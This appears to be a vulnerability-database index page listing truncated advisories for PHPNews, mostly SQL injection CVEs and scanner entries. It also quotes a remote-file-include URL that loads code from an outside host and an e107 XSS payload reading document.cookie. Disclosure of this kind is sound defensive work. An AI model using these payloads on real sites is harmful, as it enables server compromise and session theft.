PhpNews 1.0 (Include) Remote File Include Vulnerabilities

No description provided by source. PhpNews v1.0 Remote File Inclusion Vulnerability Download: ftp://ftp1.comscripts.com/PHP/36phpnews-10.zip Found By: the master exploit: http://Target/Path/Include/lib.inc.php3?Include=http://cmd.gif?...

multiVulns.txt

Multi-CMS/Forum Vulnability's Found by ap0c hackers pacifico & ratboy Yo! Ok, well a couple new vulnabilitys have been found by.. us : ------------------ First; e107 xss--- ------------------ link=http://w000000w00tw00t/asdadLIlink= onMouseOver='alertdocument.cookie;'...

Multiple CMS/Forum Vulnablilties

Multi-CMS/Forum Vulnability's Found by ap0c hackers pacifico & ratboy Yo! Ok, well a couple new vulnabilitys have been found by.. us : ------------------ First; e107 xss--- ------------------ link=http://w000000w00tw00t/asdadLIlink= onMouseOver='alertdocument.cookie;' h1d3="size=24HIGHLIGHT...

CVE-2004-2474

SQL injection vulnerability in PHPNews 1.2.3 allows remote attackers to execute arbitrary SQL commands via the mid parameter to sendtofriend.php...

CVE-2004-2474

CVE-2004-2474 affects PHPNews 1.2.3. The vulnerability is a SQL injection via the mid parameter in sendtofriend.php, allowing a remote attacker to execute arbitrary SQL commands. The provided documents do not specify a fixed version or concrete remediation; one NASL entry suggests upgrading PHP, ...

CVE-2004-2474: Undefined Security Weakness

SQL injection vulnerability in PHPNews 1.2.3 allows remote attackers to execute arbitrary SQL commands via the mid parameter to sendtofriend.php...

CVE-2005-2383

The CVE-2005-2383 entry concerns PHPNews 1.2.5, where auth.php accepts a user parameter via HTTP POST and fails to sanitize it, enabling SQL injection. Concrete details in connected docs show attackers could execute arbitrary SQL commands through the user parameter, with Nessus notes implying ris...

CVE-2005-2383

SQL injection vulnerability in auth.php in PHPNews 1.2.5 allows remote attackers to execute arbitrary SQL commands via the user parameter in an HTTP POST request...

CVE-2005-2383

SQL injection vulnerability in auth.php in PHPNews 1.2.5 allows remote attackers to execute arbitrary SQL commands via the user parameter in an HTTP POST request...

CVE-2005-2383: Undefined Security Weakness

SQL injection vulnerability in auth.php in PHPNews 1.2.5 allows remote attackers to execute arbitrary SQL commands via the user parameter in an HTTP POST request...

PHPNews auth.php Multiple Parameter SQL Injection

The remote host is running PHPNews, an open source news application written in PHP. The installed version of PHPNews is prone to a SQL injection attack because of its failure to sanitize user-supplied input via the 'user' and 'password' parameters of the 'auth.php' script. Provided PHP's...

[SA16148] PHPNews "user" and "password" SQL Injection Vulnerability

---------------------------------------------------------------------- Bist Du interessiert an einem neuen Job in IT-Sicherheit? Secunia hat zwei freie Stellen als Junior und Senior Spezialist in IT- Sicherheit: http://secunia.com/secuniavacancies/...

PHPNews < 1.3.0 auth.php Multiple Field SQL Injection

Binary data 3104.prm...

PHPNews SQL injection vulnerability

Product: PHPNews Version: 1.2.5 Release, bugfix 1.2.6 and previous URL: http://newsphp.sourceforge.net/ VULNERABILITY CLASS: SQL injection PRODUCT DESCRIPTION PHPNews is a popular script for news posting written in PHP MySQL based. VULNERABILITY Vulnerable script: auth.php code else...

PHPNews 1.2.x - auth.php SQL Injection

PHPNews 1.2.x - auth.php SQL Injection source: https://www.securityfocus.com/bid/14333/info PHPNews is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries. This vulnerability could permi...

PHPNews 1.2.x - 'auth.php' SQL Injection

source: https://www.securityfocus.com/bid/14333/info PHPNews is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries. This vulnerability could permit remote attackers to pass malicious...

CVE-2005-2156

SQL injection vulnerability in news.php in PHPNews 1.2.5 allows remote attackers to execute arbitrary SQL commands via the prevnext parameter...

CVE-2005-2156

SQL injection vulnerability in news.php in PHPNews 1.2.5 allows remote attackers to execute arbitrary SQL commands via the prevnext parameter...

CVE-2005-2156

CVE-2005-2156 describes a SQL injection in PHPNews 1.2.5 via the prevnext parameter in news.php. A remote attacker could exploit this to influence database queries and potentially expose information. Related advisories corroborate exploitation potential and indicate the issue affects PHPNews prio...

PHPNews news.php prevnext Parameter SQL Injection

The remote host is running PHPNews, an open source news application written in PHP. The installed version of PHPNews is prone to a SQL injection attack due to its failure to sanitize user-supplied input via the 'prevnext' parameter of the 'news.php' script. An attacker can exploit this flaw to...